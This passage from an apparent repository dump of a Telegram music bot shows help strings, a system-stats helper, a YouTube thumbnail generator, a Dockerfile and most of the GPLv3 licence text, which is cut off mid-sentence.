ᴜsᴇʀs ᴛᴏ ɪɴᴛᴇʀᴀᴄᴛ ᴡɪᴛʜ ᴛʜᴇ ʙᴏᴛ.:\n\nSᴏᴜʀᴄᴇ ᴍᴏᴅᴜʟᴇ:\n\n◌ /ʀᴇᴘᴏ : Gᴇᴛ ᴛʜᴇ ɪɴᴋ ᴛᴏ ᴛʜᴇ ʙᴏᴛ's sᴏᴜʀᴄᴇ ᴄᴏᴅᴇ ʀᴇᴘᴏsɪᴛᴏʀʏ.\n'''\n    HELP_TD = '''Tʀᴜᴛʜ-ᗪᴀʀᴇ\n\nʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ Tʀᴜᴛʜ-ᗪᴀʀᴇ ᴍᴏᴅᴜʟᴇ:\n\nᴛʀᴜᴛʜ ᴀɴᴅ ᴅᴀʀᴇ\n◌ /truth : sᴇɴᴅs ᴀ ʀᴀɴᴅᴏᴍ ᴛʀᴜᴛʜ sᴛʀɪɴɢ.\n◌ /dare : sᴇɴᴅs ᴀ ʀᴀɴᴅᴏᴍ ᴅᴀʀᴇ sᴛʀɪɴɢ.\n'''\n    HELP_Quiz = '''Qᴜɪᴢ\n\nʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ Qᴜɪᴢ ᴍᴏᴅᴜʟᴇ:\n\nQᴜɪᴢ\n◌ /quiz - ᴛᴏ ɢᴇᴛ ᴀɴ ʀᴀɴᴅᴏᴍ ǫᴜɪᴢ\n'''\n    HELP_TTS = '''ᴛᴛs\n\nʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ ᴛᴛs ᴍᴏᴅᴜʟᴇ:\n\n❀ ᴛᴛs\n◌ /tts : [ᴛᴇxᴛ]\n\n◌ ᴜsᴀɢᴇ ➛ ᴛᴇxᴛ ᴛᴏ ᴀᴜᴅɪᴏ\n'''\n    HELP_Radio = '''Radio\n\nʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ Radio ᴍᴏᴅᴜʟᴇ:\n\n◌ /radio - ᴛᴏ ᴘʟᴀʏ ʀᴀᴅɪᴏ ɪɴ ᴛʜᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ.\n'''\n    HELP_Q = '''ǫᴜᴏᴛʟʏ\n\nʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ ǫᴜᴏᴛʟʏ ᴍᴏᴅᴜʟᴇ:\n\n◌ /q : ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ᴛʜᴇ ᴍᴇssᴀɢᴇ\n\n◌ /q r : ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ᴛʜᴇ ᴍᴇssᴀɢᴇ ᴡɪᴛʜ ʀᴇᴘʟʏ\n'''\n    \n    \n    fullpromote = {\n    'can_change_info': True,\n    'can_post_messages': True,\n    'can_edit_messages': True,\n    'can_delete_messages': True,\n    'can_invite_users': True,\n    'can_restrict_members': True,\n    'can_pin_messages': True,\n    'can_promote_members': True,\n    'can_manage_chat': True,\n}\n\n    promoteuser = {\n    'can_change_info': False,\n    'can_post_messages': True,\n    'can_edit_messages': True,\n    'can_delete_messages': False,\n    'can_invite_users': True,\n    'can_restrict_members': False,\n    'can_pin_messages': False,\n    'can_promote_members': False,\n    'can_manage_chat': True,\n}\n"
  },
  {
    "path": "BrandrdXMusic/utils/sys.py",
    "content": "import time\n\nimport psutil\n\nfrom BrandrdXMusic.misc import _boot_\nfrom BrandrdXMusic.utils.formatters import get_readable_time\n\n\nasync def bot_sys_stats():\n    bot_uptime = int(time.time() - _boot_)\n    UP = f\"{get_readable_time(bot_uptime)}\"\n    CPU = f\"{psutil.cpu_percent(interval=0.5)}%\"\n    RAM = f\"{psutil.virtual_memory().percent}%\"\n    DISK = f\"{psutil.disk_usage('/').percent}%\"\n    return UP, CPU, RAM, DISK\n\n\nasync def bot_up_time():\n    bot_up_time = int(time.time() - _boot_)\n    BOT_UP = f\"{get_readable_time(bot_up_time)}\"\n    return BOT_UP\n"
  },
  {
    "path": "BrandrdXMusic/utils/thumbnails.py",
    "content": "import os\nimport re\nimport random\n\nimport aiofiles\nimport aiohttp\n\nfrom PIL import Image, ImageDraw, ImageEnhance\nfrom PIL import ImageFilter, ImageFont, ImageOps\n\nfrom unidecode import unidecode\nfrom youtubesearchpython.__future__ import VideosSearch\n\nfrom BrandrdXMusic import app\nfrom config import YOUTUBE_IMG_URL\n\n\ndef changeImageSize(maxWidth, maxHeight, image):\n    widthRatio = maxWidth / image.size[0]\n    heightRatio = maxHeight / image.size[1]\n    newWidth = int(widthRatio * image.size[0])\n    newHeight = int(heightRatio * image.size[1])\n    newImage = image.resize((newWidth, newHeight))\n    return newImage\n\n\ndef clear(text):\n    list = text.split(\" \")\n    title = \"\"\n    for i in list:\n        if len(title) + len(i) < 60:\n            title += \" \" + i\n    return title.strip()\n\n\nasync def get_thumb(videoid):\n    if os.path.isfile(f\"cache/{videoid}.png\"):\n        return f\"cache/{videoid}.png\"\n\n    url = f\"https://www.youtube.com/watch?v={videoid}\"\n    try:\n        results = VideosSearch(url, limit=1)\n        for result in (await results.next())[\"result\"]:\n            try:\n                title = result[\"title\"]\n                title = re.sub(\"\\W+\", \" \", title)\n                title = title.title()\n            except:\n                title = \"Unsupported Title\"\n            try:\n                duration = result[\"duration\"]\n            except:\n                duration = \"Unknown Mins\"\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n            try:\n                views = result[\"viewCount\"][\"short\"]\n            except:\n                views = \"Unknown Views\"\n            try:\n                channel = result[\"channel\"][\"name\"]\n            except:\n                channel = \"Unknown Channel\"\n\n        async with aiohttp.ClientSession() as session:\n            async with session.get(thumbnail) as resp:\n                if resp.status == 200:\n                    f = await aiofiles.open(f\"cache/thumb{videoid}.png\", mode=\"wb\")\n                    await f.write(await resp.read())\n                    await f.close()\n\n        \n        colors = [\"white\", \"red\", \"orange\", \"yellow\", \"green\", \"cyan\", \"azure\", \"blue\", \"violet\", \"magenta\", \"pink\"]\n        border = random.choice(colors)\n        youtube = Image.open(f\"cache/thumb{videoid}.png\")\n        image1 = changeImageSize(1280, 720, youtube)\n        bg_bright = ImageEnhance.Brightness(image1)\n        bg_logo = bg_bright.enhance(1.1)\n        bg_contra = ImageEnhance.Contrast(bg_logo)\n        bg_logo = bg_contra.enhance(1.1)\n        logox = ImageOps.expand(bg_logo, border=7, fill=f\"{border}\")\n        background = changeImageSize(1280, 720, logox)\n        # image2 = image1.convert(\"RGBA\")\n        # background = image2.filter(filter=ImageFilter.BoxBlur(1))\n        #enhancer = ImageEnhance.Brightness(background)\n        #background = enhancer.enhance(0.9)\n        #draw = ImageDraw.Draw(background)\n        #arial = ImageFont.truetype(\"BrandrdXMusic/assets/font2.ttf\", 30)\n        #font = ImageFont.truetype(\"BrandrdXMusic/assets/font.ttf\", 30)\n        # draw.text((1110, 8), unidecode(app.name), fill=\"white\", font=arial)\n        \"\"\"\n        draw.text(\n            (1, 1),\n            f\"{channel} | {views[:23]}\",\n            (1, 1, 1),\n            font=arial,\n        )\n        draw.text(\n            (1, 1),\n            clear(title),\n            (1, 1, 1),\n            font=font,\n        )\n        draw.line(\n            [(1, 1), (1, 1)],\n            fill=\"white\",\n            width=1,\n            joint=\"curve\",\n        )\n        draw.ellipse(\n            [(1, 1), (2, 1)],\n            outline=\"white\",\n            fill=\"white\",\n            width=1,\n        )\n        draw.text(\n            (1, 1),\n            \"00:00\",\n            (1, 1, 1),\n            font=arial,\n        )\n        draw.text(\n            (1, 1),\n            f\"{duration[:23]}\",\n            (1, 1, 1),\n            font=arial,\n        )\n        \"\"\"\n        try:\n            os.remove(f\"cache/thumb{videoid}.png\")\n        except:\n            pass\n        background.save(f\"cache/{videoid}.png\")\n        return f\"cache/{videoid}.png\"\n    except Exception as e:\n        print(e)\n        return YOUTUBE_IMG_URL\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM python:3.10-slim-bullseye\n\nRUN apt-get update \\\n    && apt-get install -y --no-install-recommends ffmpeg \\\n    && apt-get clean \\\n    && rm -rf /var/lib/apt/lists/*\n\nCOPY . /app/\nWORKDIR /app/\n\nRUN python3 -m pip install --upgrade pip setuptools\nRUN apt-get update && apt-get install -y git\nRUN pip3 install --no-cache-dir --upgrade --requirement requirements.txt\n\nCMD python3 -m BrandrdXMusic\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, 